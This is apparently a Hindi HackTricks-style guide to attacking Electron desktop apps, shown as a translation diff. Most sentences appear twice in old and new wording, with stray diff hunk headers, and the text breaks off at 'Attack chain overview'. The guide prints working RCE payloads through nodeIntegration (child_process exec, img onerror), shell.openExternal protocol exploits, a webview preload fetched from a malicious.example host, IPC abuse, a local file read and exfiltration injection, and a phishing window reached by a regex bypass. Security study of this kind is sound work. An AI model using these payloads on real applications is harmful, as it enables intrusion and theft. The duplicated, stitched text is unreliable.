Electron app के source code में, `packet.json` के अंदर आप `main.js` फ़ाइल पा सकते हैं जहाँ security configs सेट होते हैं।
Electron app के स्रोत कोड में, `packet.json` के अंदर आप निर्दिष्ट `main.js` फ़ाइल पा सकते हैं जहाँ security configs सेट किए गए हैं।
```json
{
"name": "standard-notes",
@ -19,12 +19,12 @@ Electron app के source code में, `packet.json` के अंदर आ
```
Electron में 2 process प्रकार हैं:
- Main Process (NodeJS तक पूर्ण पहुँच)
- Main Process (NodeJS तक पूर्ण पहुँच होती है)
- Renderer Process (सुरक्षा कारणों से NodeJS की पहुँच सीमित होनी चाहिए)
![](<../../../images/image (182).png>)
एक **renderer process** एक ब्राउज़र विंडो होगा जो एक फ़ाइल लोड करेगा:
एक **renderer process** एक ब्राउज़र विंडो होती है जो एक फ़ाइल लोड करती है:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,18 +32,18 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
main.js फ़ाइल के अंदर **main process** में **renderer process** की Settings **configured** की जा सकती हैं। कुछ configurations सही तरीके से सेट होने पर यह **Electron application** को RCE या अन्य vulnerabilities मिलने से रोक सकती हैं अगर **settings are correctly configured**।
main.js फ़ाइल के अंदर **main process** में **renderer process** की सेटिंग्स **संरचित (configured)** की जा सकती हैं। कुछ कॉन्फ़िगरेशन Electron एप्लिकेशन को RCE या अन्य कमजोरियों से रोक सकते हैं यदि **settings सही तरीके से configured** हों।
Electron application Node apis के माध्यम से डिवाइस तक एक्सेस कर सकती है, हालांकि इसे रोकने के लिए configure किया जा सकता है:
Electron एप्लिकेशन Node apis के माध्यम से डिवाइस तक पहुँच सकता है हालांकि इसे रोकने के लिए कॉन्फ़िगर किया जा सकता है:
- **`nodeIntegration`** - डिफ़ॉल्ट रूप से `off` होता है। अगर `on` है, तो यह renderer process से node features तक access करने की अनुमति देता है।
- **`contextIsolation`** - डिफ़ॉल्ट रूप से `on` होता है। अगर `off` है, तो main और renderer processes isolated नहीं रहते।
- **`preload`** - डिफ़ॉल्ट रूप से empty रहता है।
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - डिफ़ॉल्ट रूप से off है। यह NodeJS द्वारा किए जा सकने वाले actions को सीमित करेगा।
- Node Integration in Workers
- **`nodeIntegrationInSubframes`**- डिफ़ॉल्ट रूप से `off` होता है।
- अगर **`nodeIntegration`** **enabled** है, तो यह Electron application के भीतर उन web pages में, जो **loaded in iframes** हैं, **Node.js APIs** के उपयोग की अनुमति देगा।
- अगर **`nodeIntegration`** **disabled** है, तो preloads iframe में लोड होंगे
- **`nodeIntegration`** - डिफ़ॉल्ट रूप से `off` है। यदि `on` है, तो यह renderer process से node फीचर्स तक पहुँचने की अनुमति देता है।
- **`contextIsolation`** - डिफ़ॉल्ट रूप से `on` है। यदि `off` है, तो main और renderer processes अलग नहीं होते।
- **`preload`** - डिफ़ॉल्ट रूप से खाली है।
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - डिफ़ॉल्ट रूप से off है। यह NodeJS द्वारा की जा सकने वाली कार्रवाइयों को सीमित करेगा।
- Workers में Node Integration
- **`nodeIntegrationInSubframes`**- डिफ़ॉल्ट रूप से `off` है।
- यदि **`nodeIntegration`** **enabled** है, तो यह Electron एप्लिकेशन के अंदर iframes में लोड की गई वेब पेजों में **Node.js APIs** के उपयोग की अनुमति देगा।
- यदि **`nodeIntegration`** **disabled** है, तो preloads iframe में लोड होंगे
Example of configuration:
```javascript
@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
कुछ **RCE payloads** से [here](https://7as.es/electron/nodeIntegration_rce.txt):
कुछ **RCE payloads** [here](https://7as.es/electron/nodeIntegration_rce.txt) से:
```html
Example Payloads (Windows):
<img
@ -97,13 +97,13 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### ट्रैफ़िक कैप्चर करें
start-main कॉन्फ़िगरेशन को संशोधित करें और किसी proxy का उपयोग जोड़ें, जैसे:
start-main configuration को संशोधित करें और proxy का उपयोग जोड़ें, जैसे:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection
यदि आप स्थानीय रूप से एक Electron App चला सकते हैं, तो संभव है कि आप इसे मनमाना javascript code निष्पादित करने के लिए मजबूर कर सकें। यह कैसे देखें:
यदि आप लोकली किसी Electron App को execute कर सकते हैं तो संभव है कि आप इसे arbitrary javascript code execute करवाने के लिए मजबूर कर सकें। यह कैसे किया जाता है देखें:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@ -111,7 +111,7 @@ start-main कॉन्फ़िगरेशन को संशोधित क
## RCE: XSS + nodeIntegration
यदि **nodeIntegration** **on** पर सेट है, तो किसी वेब पेज का JavaScript `require()` को कॉल करके आसानी से Node.js फीचर्स का उपयोग कर सकता है। उदाहरण के लिए, Windows पर calc application चलाने का तरीका है:
यदि **nodeIntegration** **on** पर सेट है, तो किसी वेब पेज की JavaScript बस `require()` कॉल करके आसानी से Node.js सुविधाओं का उपयोग कर सकती है। उदाहरण के लिए, Windows पर calc application को execute करने का तरीका है:
```html
<script>
require("child_process").exec("calc")
@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
इस सेटिंग में दर्शाई गई स्क्रिप्ट **renderer में अन्य स्क्रिप्ट्स से पहले लोड** होती है, इसलिए इसके पास **Node APIs तक असीमित पहुँच** है:
इस सेटिंग में निर्दिष्ट स्क्रिप्ट **renderer में अन्य स्क्रिप्ट्स से पहले लोड होती है**, इसलिए इसका **Node APIs तक असीमित एक्सेस** है:
```javascript
new BrowserWindow{
webPreferences: {
@ -148,17 +148,17 @@ runCalc()
</script>
</body>
```
> [!NOTE] > **यदि `contextIsolation` चालू है, तो यह काम नहीं करेगा**
> [!NOTE] > **यदि `contextIsolation` चालू है, यह काम नहीं करेगा**
## RCE: XSS + contextIsolation
The _**contextIsolation**_ वेब पेज स्क्रिप्ट्स और JavaScript Electron के आंतरिक कोड के बीच **अलग किए गए contexts** प्रस्तुत करता है ताकि हर कोड का JavaScript execution एक दूसरे को प्रभावित न करे। यह RCE की संभावना को खत्म करने के लिए एक आवश्यक फीचर है।
The _**contextIsolation**_ वेब पेज स्क्रिप्ट और JavaScript Electron के internal code के बीच **अलग-अलग contexts** बनाता है ताकि प्रत्येक कोड का JavaScript निष्पादन एक दूसरे को प्रभावित न करे। यह RCE की संभावना को खत्म करने के लिए एक आवश्यक फ़ीचर है।
If the contexts aren't isolated an attacker can:
यदि contexts अलग-थलग नहीं हैं, तो एक हमलावर कर सकता है:
1. **arbitrary JavaScript in renderer** चलाया जा सकता है (XSS या बाहरी साइटों पर नेविगेशन)
2. **Overwrite the built-in method** जिसका इस्तेमाल preload या Electron के आंतरिक कोड में होता है ताकि फ़ंक्शन का नियंत्रण हासिल किया जा सके
3. **Trigger** करें **overwritten function** के उपयोग को
1. renderer में मनमाना JavaScript निष्पादित करें (XSS या बाहरी साइटों पर नेविगेशन)
2. preload या Electron internal code में उपयोग होने वाली built-in method को ओवरराइट करके उसे अपना function बना दें
3. **ट्रिगर** करें **ओवरराइट की गई function** के उपयोग को
4. RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
@ -178,24 +178,24 @@ electron-contextisolation-rce-via-electron-internal-code.md
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### क्लिक इवेंट बायपास करना
### क्लिक इवेंट बायपास
यदि किसी लिंक पर क्लिक करने पर प्रतिबंध लागू होते हैं तो आप उन्हें नियमित left click की बजाय **middle click** करके बायपास कर सकते हैं
यदि किसी लिंक पर क्लिक करने पर प्रतिबंध लागू हैं, तो आप उन्हें सामान्य बाएँ क्लिक के बजाय **मिडल क्लिक** करके बायपास कर सकते हैं।
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
## RCE के माध्यम से shell.openExternal
इन उदाहरणों के बारे में अधिक जानकारी के लिए देखें [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) और [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Electron डेस्कटॉप एप्लिकेशन को डिप्लॉय करते समय, `nodeIntegration` और `contextIsolation` के सही सेटिंग्स सुनिश्चित करना बहुत महत्वपूर्ण है। ये सेटिंग्स होने पर, main process से preload scripts या Electron के native code को लक्षित करने वाले **client-side remote code execution (RCE)** को प्रभावी ढंग से रोका जाता है।
जब किसी Electron desktop application को deploy करते समय, `nodeIntegration` और `contextIsolation` की सही सेटिंग्स सुनिश्चित करना बेहद जरूरी होता है। यह स्थापित है कि **client-side remote code execution (RCE)** जो preload scripts या main process से Electron's native code को लक्षित करती है, इन सेटिंग्स के होने पर प्रभावी रूप से रोकी जाती है।
किसी user द्वारा links के साथ इंटरैक्ट करने या new windows खोलने पर, विशिष्ट event listeners ट्रिगर होते हैं, जो application's security और functionality के लिए महत्वपूर्ण हैं:
जब उपयोगकर्ता लिंक के साथ इंटरैक्ट करता है या नई विंडो खोलता है, तो विशेष event listeners ट्रिगर होते हैं, जो एप्लिकेशन की सुरक्षा और कार्यक्षमता के लिए महत्वपूर्ण होते हैं:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
ये listeners डेस्कटॉप एप्लिकेशन द्वारा अपने स्वयं के **business logic** को लागू करने के लिए **ओवरराइड** किए जाते हैं। एप्लिकेशन यह मूल्यांकन करता है कि नेविगेट की गई लिंक को आंतरिक रूप से खोला जाना चाहिए या किसी बाहरी वेब ब्राउज़र में। यह निर्णय आमतौर पर एक फ़ंक्शन, `openInternally`, के जरिए लिया जाता है। यदि यह फ़ंक्शन `false` लौटाता है, तो इसका अर्थ है कि लिंक को बाहरी रूप से खोलना चाहिए, और इसके लिए `shell.openExternal` फ़ंक्शन का उपयोग किया जाता है।
These listeners are **डेस्कटॉप एप्लिकेशन द्वारा ओवरराइड किए जाते हैं** ताकि वह अपना **business logic** लागू कर सके। एप्लिकेशन यह मूल्यांकन करता है कि नेविगेट किया गया लिंक एप्लिकेशन के अंदर खोलना चाहिए या किसी बाहरी वेब ब्राउज़र में। यह निर्णय आमतौर पर एक फ़ंक्शन, `openInternally`, के माध्यम से लिया जाता है। यदि यह फ़ंक्शन `false` लौटाता है, तो इसका अर्थ है कि लिंक को बाहरी रूप से खोलना चाहिए, और इसके लिए `shell.openExternal` फ़ंक्शन का उपयोग किया जाएगा।
**Here is a simplified pseudocode:**
@ -203,11 +203,11 @@ webContents.on("will-navigate", function (event, url) {}
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS security best practices अनट्रस्टेड कंटेंट को `openExternal` फ़ंक्शन के साथ स्वीकार करने के खिलाफ सलाह देती हैं, क्योंकि यह विभिन्न प्रोटोकॉल के माध्यम से RCE का कारण बन सकता है। ऑपरेटिंग सिस्टम विभिन्न प्रोटोकॉल सपोर्ट करते हैं जो RCE ट्रिगर कर सकते हैं। इस विषय पर विस्तृत उदाहरणों और आगे की व्याख्या के लिए, आप [यह स्रोत](https://positive.security/blog/url-open-rce#windows-10-19042) देख सकते हैं, जिसमें Windows प्रोटोकॉल के उदाहरण शामिल हैं जो इस vulnerability का शोषण कर सकते हैं।
Electron JS security best practices सलाह देती हैं कि `openExternal` फ़ंक्शन के साथ अनविश्वसनीय कंटेंट स्वीकार न करें, क्योंकि यह विभिन्न प्रोटोकॉल के माध्यम से RCE का कारण बन सकता है। Operating systems अलग-अलग प्रोटोकॉल सपोर्ट करते हैं जो RCE ट्रिगर कर सकते हैं। इस विषय पर विस्तृत उदाहरणों और और अधिक व्याख्या के लिए आप [this resource](https://positive.security/blog/url-open-rce#windows-10-19042) देख सकते हैं, जिसमें Windows प्रोटोकॉल के उदाहरण शामिल हैं जो इस vulnerability का फायदा उठा सकते हैं।
macos में, `openExternal` फ़ंक्शन का दुरुपयोग किसी भी मनमाने कमांड को निष्पादित करने के लिए किया जा सकता है, उदाहरण के लिए `shell.openExternal('file:///System/Applications/Calculator.app')`।
macos में, `openExternal` फ़ंक्शन का प्रयोग किसी भी कमांड को निष्पादित करने के लिए किया जा सकता है, जैसे `shell.openExternal('file:///System/Applications/Calculator.app')`।
**Examples of Windows protocol exploits include:**
**Windows प्रोटोकॉल exploit के उदाहरण शामिल हैं:**
```html
<script>
window.open(
@ -227,17 +227,17 @@ window.open(
)
</script>
```
## RCE: webviewTag + कमजोर preload IPC + shell.openExternal
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
यह vuln **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** में पाया जा सकता है।
**webviewTag** एक **deprecated feature** है जो **renderer process** में **NodeJS** के उपयोग की अनुमति देता है, इसलिए इसे निष्क्रिय कर देना चाहिए क्योंकि यह preload context के अंदर script लोड करने की अनुमति देता है, जैसे:
The **webviewTag** एक **अप्रचलित फीचर** है जो **renderer process** में **NodeJS** के उपयोग की अनुमति देता है, और इसे अक्षम किया जाना चाहिए क्योंकि यह preload context के अंदर script लोड करने की अनुमति देता है, जैसे:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
इसलिए, एक attacker जो किसी arbitrary पेज को लोड करने में सफल होता है, वह उस tag का उपयोग कर **load an arbitrary preload script** कर सकता है।
इसलिए, एक attacker जो किसी arbitrary page को लोड करने में सक्षम हो, वह उस tag का उपयोग करके **arbitrary preload script लोड** कर सकता है।
यह preload script दुरुपयोग कर के एक **vulnerable IPC service (`skype-new-window`)** को कॉल करने के लिए इस्तेमाल किया गया, जो RCE पाने के लिए **`shell.openExternal`** को कॉल कर रहा था:
उस preload script का दुरुपयोग करके फिर एक **vulnerable IPC service (`skype-new-window`)** को कॉल किया गया, जो RCE प्राप्त करने के लिए **`shell.openExternal`** को कॉल कर रहा था:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -250,11 +250,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## आंतरिक फ़ाइलें पढ़ना: XSS + contextIsolation
**`contextIsolation` को अक्षम करने से `<webview>` टैग्स का उपयोग संभव हो जाता है**, `<iframe>` की तरह, स्थानीय फ़ाइलों को पढ़ने और exfiltrating करने के लिए। नीचे दिया गया उदाहरण दिखाता है कि इस vulnerability का उपयोग करके आंतरिक फ़ाइलों की सामग्री कैसे पढ़ी जा सकती है:
**`contextIsolation` को disable करने से `<webview>` टैग्स का उपयोग संभव हो जाता है**, जो `<iframe>` की तरह हैं, और यह स्थानीय फ़ाइलों को पढ़ने और exfiltrating के लिए इस्तेमाल किया जा सकता है। एक दिया गया उदाहरण दिखाता है कि इस vulnerability का फायदा उठाकर आंतरिक फ़ाइलों की सामग्री कैसे पढ़ी जा सकती है:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
इसके अलावा, **आंतरिक फ़ाइल पढ़ने** की एक और विधि साझा की गई है, जो Electron desktop app में एक गंभीर local file read vulnerability को उजागर करती है। इसमें application को exploit करने और डेटा को exfiltrate करने के लिए एक script inject करना शामिल है:
इसके अलावा, एक और तरीका **एक आंतरिक फ़ाइल पढ़ने** के लिए साझा किया गया है, जो एक Electron desktop app में एक critical local file read vulnerability को उजागर करता है। इसमें एप्लिकेशन को exploit करने और data exfiltrate करने के लिए script inject करना शामिल है:
```html
<br /><br /><br /><br />
<h1>
@ -270,27 +270,23 @@ frames[0].document.body.innerText
</script>
</h1>
```
## **RCE: XSS + पुराना chromium**
## **RCE: XSS + Old Chromium**
यदि एप्लिकेशन द्वारा उपयोग किया गया **chromium** **old** है और उस पर **known** **vulnerabilities** मौजूद हैं, तो उसे **exploit** करके और XSS के माध्यम से **RCE** हासिल करना संभव हो सकता है।\
यदि एप्लिकेशन द्वारा उपयोग किया गया **chromium** **पुराना** है और उस पर **known** **vulnerabilities** मौजूद हैं, तो इसे **exploit it and obtain RCE through a XSS** करना संभव हो सकता है.\
आप इसका एक उदाहरण इस **writeup** में देख सकते हैं: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing के माध्यम से Internal URL regex bypass**
## **XSS Phishing via Internal URL regex bypass**
मान लीजिए आपने एक XSS पाया है पर आप **cannot trigger RCE or steal internal files** नहीं कर पा रहे हैं, तो आप इसे **steal credentials via phishing** के लिए इस्तेमाल कर सकते हैं।
मान लीजिए आपने एक XSS पाया है लेकिन आप **cannot trigger RCE or steal internal files**, तो आप इसे **steal credentials via phishing** के लिए इस्तेमाल करने की कोशिश कर सकते हैं।
सबसे पहले आपको यह जानना होगा कि जब आप नया URL खोलने की कोशिश करते हैं तब क्या होता है — इसके लिए front-end के JS code को चेक करें:
सबसे पहले आपको यह जानना होगा कि जब आप नया URL खोलने की कोशिश करते हैं तो क्या होता है — front-end में JS कोड चेक करते हुए:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
The call to **`openInternally`** will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**.
**`openInternally`** को कॉल करने से यह तय होगा कि क्या **link** प्लेटफ़ॉर्म का होने के कारण **opened** होकर **desktop window** में दिखेगा, **or** यह **browser as a 3rd party resource** में खोला जाएगा।
In the case the **regex** used by the function is **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) an attacker could abuse the XSS to **open a new window which** will be located in the attackers infrastructure **asking for credentials** to the user:
The call to **`openInternally`** यह तय करेगा कि **link** प्लेटफ़ॉर्म का होने के कारण **desktop window** में **opened** होगा या **browser as a 3rd party resource** में खोला जाएगा।
यदि फंक्शन द्वारा उपयोग किया गया **regex** **vulnerable to bypasses** है (उदाहरण के लिए **not escaping the dots of subdomains**), तो एक attacker XSS का दुरुपयोग कर सकता है और **open a new window which** attackers infrastructure में स्थित होगा और user से **asking for credentials** करेगा:
यदि उस फ़ंक्शन में उपयोग किया गया **regex** **vulnerable to bypasses** है (उदाहरण के लिए **not escaping the dots of subdomains**), तो एक attacker XSS का दुरुपयोग करके उपयोगकर्ता से प्रमाण-पत्र माँगने वाले हमलावरों की infrastructure में स्थित एक पॉपअप **open a new window which** कर सकता है और user से **asking for credentials** कर सकता है:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
@ -298,21 +294,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
```
## `file://` प्रोटोकॉल
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** को आपके मशीन की हर फ़ाइल तक एकतरफ़ा पहुँच होती है, जिसका मतलब है कि **XSS issues can be used to load arbitrary files** from the users machine. Using a **custom protocol** ऐसे मामलों को रोकता है क्योंकि आप प्रोटोकॉल को केवल एक निश्चित फ़ाइल सेट ही सर्व करने तक सीमित कर सकते हैं।
जैसा कि [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) में बताया गया है, **`file://`** पर चलने वाले पेज आपकी मशीन की हर फ़ाइल तक एकतरफा पहुँच रखते हैं, जिसका अर्थ है कि **XSS समस्याओं का उपयोग उपयोगकर्ता की मशीन से मनचाही फ़ाइलें लोड करने के लिए किया जा सकता है**। एक **custom protocol** का उपयोग इस तरह की समस्याओं को रोकता है क्योंकि आप प्रोटोकॉल को केवल एक विशिष्ट फ़ाइल सेट को सर्व करने तक सीमित कर सकते हैं।
## Remote module
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. यह एप्लिकेशन के attack surface को बढ़ा देता है, जिससे यह cross-site scripting (XSS) attacks जैसे vulnerabilities के प्रति अधिक संवेदनशील बन जाता है।
Electron का Remote module अनुमति देता है कि **renderer processes main process APIs तक पहुँच प्राप्त कर सकें**, जो कि एक Electron application के भीतर संचार को सक्षम बनाता है। हालाँकि, इस module को सक्षम करने से महत्वपूर्ण सुरक्षा जोखिम उत्पन्न होते हैं। यह application के attack surface को बढ़ा देता है, जिससे यह cross-site scripting (XSS) जैसे कमजोरियों के प्रति अधिक संवेदनशील हो जाता है।
> [!TIP]
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. हालांकि, ये components संवेदनशील जानकारी उजागर कर सकते हैं।
> हालांकि **remote** module main से renderer processes को कुछ APIs एक्सपोज़ करता है, केवल इन components का दुरुपयोग करके सीधे RCE प्राप्त करना सहज नहीं होता। हालांकि, ये components संवेदनशील जानकारी उजागर कर सकते हैं।
> [!WARNING]
> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**.
> कई apps जो अभी भी remote module का उपयोग करते हैं वे इसे इस तरह से करते हैं कि **renderer process में NodeIntegration को enabled होना आवश्यक होता है**, जो कि एक **बड़ा सुरक्षा जोखिम** है।
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
Electron 14 के बाद से `remote` module कई वातावरणों में सक्षम हो सकता है, लेकिन security और performance कारणों से इसका उपयोग न करने की सिफारिश की जाती है।
To enable it, it'd first needed to **enable it in the main process**:
इसे सक्षम करने के लिए, पहले इसे **main process में सक्षम** करना आवश्यक होगा:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
@ -323,37 +319,37 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
फिर, renderer process उस module से objects इस तरह import कर सकता है:
फिर, renderer process मॉड्यूल से objects को इस तरह import कर सकता है:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** remote module के object **`app`** द्वारा expose किए गए कुछ रोचक **functions** बताता है:
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** remote module के object **`app`** द्वारा expose की गई कुछ रोचक **functions** बताता है:
- **`app.relaunch([options])`**
- **रीस्टार्ट करता है** एप्लिकेशन को वर्तमान instance से **बाहर निकलकर** और एक नया instance **लॉन्च** करके। उपयोगी है **ऐप अपडेट्स** या महत्वपूर्ण **स्थिति परिवर्तन** के लिए।
- एप्लिकेशन को **पुनः शुरू** करता है: वर्तमान instance को **बंद** करके और एक नई instance **लॉन्च** करता है। यह **app updates** या महत्वपूर्ण **state changes** के लिए उपयोगी है।
- **`app.setAppLogsPath([path])`**
- **परिभाषित करता है** या **बनाता है** एक डायरेक्टरी **app logs** स्टोर करने के लिए। ये logs **प्राप्त** किए जा सकते हैं या **संशोधित** किए जा सकते हैं using **`app.getPath()`** या **`app.setPath(pathName, newPath)`**।
- app logs संग्रहीत करने के लिए एक डायरेक्टरी निर्धारित या बनाता है। लॉग्स को **`app.getPath()`** या **`app.setPath(pathName, newPath)`** का उपयोग करके प्राप्त या संशोधित किया जा सकता है।
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- वर्तमान executable को एक निर्दिष्ट **protocol** के लिए **default handler** के रूप में **रजिस्टर** करता है। आप आवश्यकता पड़ने पर एक **custom path** और **arguments** प्रदान कर सकते हैं।
- निर्दिष्ट protocol के लिए वर्तमान executable को default handler के रूप में register करता है। आवश्यकता होने पर आप custom path और arguments दे सकते हैं।
- **`app.setUserTasks(tasks)`**
- **टास्क जोड़ता है** **Tasks category** में **Jump List** (on Windows)। प्रत्येक टास्क नियंत्रित कर सकता है कि app कैसे **लॉन्च** किया जाता है या कौन से **arguments** पास किए जाते हैं।
- Windows पर Jump List के Tasks category में tasks जोड़ता है। प्रत्येक task यह नियंत्रित कर सकता है कि app कैसे **लॉन्च** होता है या कौन से arguments पास किए जाते हैं।
- **`app.importCertificate(options, callback)`**
- **PKCS#12 certificate** को सिस्टम के **certificate store** में इम्पोर्ट करता है (Linux only)। परिणाम को हैंडल करने के लिए एक **callback** इस्तेमाल किया जा सकता है।
- सिस्टम के certificate store में PKCS#12 certificate import करता है (केवल Linux)। परिणाम को संभालने के लिए callback का उपयोग किया जा सकता है।
- **`app.moveToApplicationsFolder([options])`**
- एप्लिकेशन को **Applications folder** (on macOS) में **स्थानांतरित** करता है। Mac उपयोगकर्ताओं के लिए एक **standard installation** सुनिश्चित करने में मदद करता है।
- एप्लिकेशन को Applications folder में स्थानांतरित करता है (macOS पर)। Mac उपयोगकर्ताओं के लिए standard installation सुनिश्चित करने में मदद करता है।
- **`app.setJumpList(categories)`**
- **Windows** पर एक **custom Jump List** **सेट** या **हटा** सकता है। आप **categories** निर्दिष्ट कर सकते हैं ताकि tasks उपयोगकर्ता को कैसे दिखाई दें, इसे व्यवस्थित किया जा सके।
- Windows पर एक custom Jump List सेट या हटाता है। आप tasks उपयोगकर्ता को कैसे दिखाई दें इसे व्यवस्थित करने के लिए categories निर्दिष्ट कर सकते हैं।
- **`app.setLoginItemSettings(settings)`**
- यह कॉन्फ़िगर करता है कि कौन से **executables** **login** पर लॉन्च होंगे और उनके साथ कौन से **options** होंगे (macOS and Windows only).
- यह कॉन्फ़िगर करता है कि किन executables को login पर उनके options के साथ लॉन्च किया जाए (केवल macOS और Windows)।
Example:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences मॉड्यूल
## systemPreferences module
Electron में system preferences तक पहुँचने और system events को emit करने के लिए यह **primary API** है। **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, और **setUserDefault** जैसे methods सभी **इस मॉड्यूल का हिस्सा** हैं।
यह Electron में system preferences तक पहुँचने और system events को emit करने के लिए **primary API** है। **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, और **setUserDefault** जैसे मेथड्स सभी इस मॉड्यूल का **हिस्सा** हैं।
**उदाहरण उपयोग:**
```javascript
@ -370,31 +366,31 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **सुनता है** **native macOS notifications** को NSDistributedNotificationCenter का उपयोग करके।
* **macOS Catalina** से पहले, आप CFNotificationCenterAddObserver को **nil** पास करके **all** distributed notifications को sniff कर सकते थे।
* **Catalina / Big Sur** के बाद, sandboxed apps फिर भी कई घटनाओं को **subscribe** कर सकते हैं (उदा., **screen locks/unlocks**, **volume mounts**, **network activity**, आदि) नोटिफिकेशन को **by name** रजिस्टर करके।
* **Listens** for **native macOS notifications** using NSDistributedNotificationCenter.
* Before **macOS Catalina**, you could sniff **all** distributed notifications by passing **nil** to CFNotificationCenterAddObserver.
* After **Catalina / Big Sur**, sandboxed apps can still **subscribe** to **many events** (for example, **screen locks/unlocks**, **volume mounts**, **network activity**, etc.) by registering notifications **by name**.
### **getUserDefault / setUserDefault**
* **Interfaces** NSUserDefaults के साथ, जो macOS पर **application** या **global** preferences को संग्रहीत करता है।
* **Interfaces** with **NSUserDefaults**, which stores **application** or **global** preferences on macOS.
* **getUserDefault** संवेदनशील जानकारी **retrieve** कर सकता है, जैसे **recent file locations** या **user’s geographic location**।
* **getUserDefault** can **retrieve** sensitive information, such as **recent file locations** or **user’s geographic location**.
* **setUserDefault** इन preferences को **modify** कर सकता है, जो किसी app की **configuration** को प्रभावित कर सकते हैं।
* **setUserDefault** can **modify** these preferences, potentially affecting an app’s **configuration**.
* **older Electron versions** (v8.3.0 से पहले) में, केवल NSUserDefaults का **standard suite** ही **accessible** था।
* In **older Electron versions** (before v8.3.0), only the **standard suite** of NSUserDefaults was **accessible**.
## Shell.showItemInFolder
यह फ़ंक्शन दिए गए फ़ाइल को फ़ाइल मैनेजर में दिखाता है, जो फ़ाइल को **स्वतः execute** भी कर सकता है।
This function फ़ाइल मैनेजर में दिए गए फ़ाइल को दिखाता है, जो फ़ाइल को स्वतः execute करवा सकता है।
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Electron apps में एक **Content Security Policy (CSP)** होना चाहिए ताकि **XSS attacks** रोके जा सकें। **CSP** एक **security standard** है जो ब्राउज़र में **untrusted code** के **execution** को रोकने में मदद करता है।
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
यह आमतौर पर **`main.js`** फ़ाइल में या **`index.html`** टेम्पलेट में CSP को एक **meta tag** के अंदर **configured** किया जाता है।
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
For more information check:
@ -406,14 +402,14 @@ pentesting-web/content-security-policy-csp-bypass/
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
यह वास्तविक-विश्व चेन Visual Studio Code 1.63 (CVE-2021-43908) को प्रभावित करती है और दिखाती है कि कैसे webview में एक single markdown-driven XSS को CSP, postMessage, और scheme handlers के गलत कॉन्फ़िगरेशन पर पूर्ण RCE में escalate किया जा सकता है। Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Attack chain overview
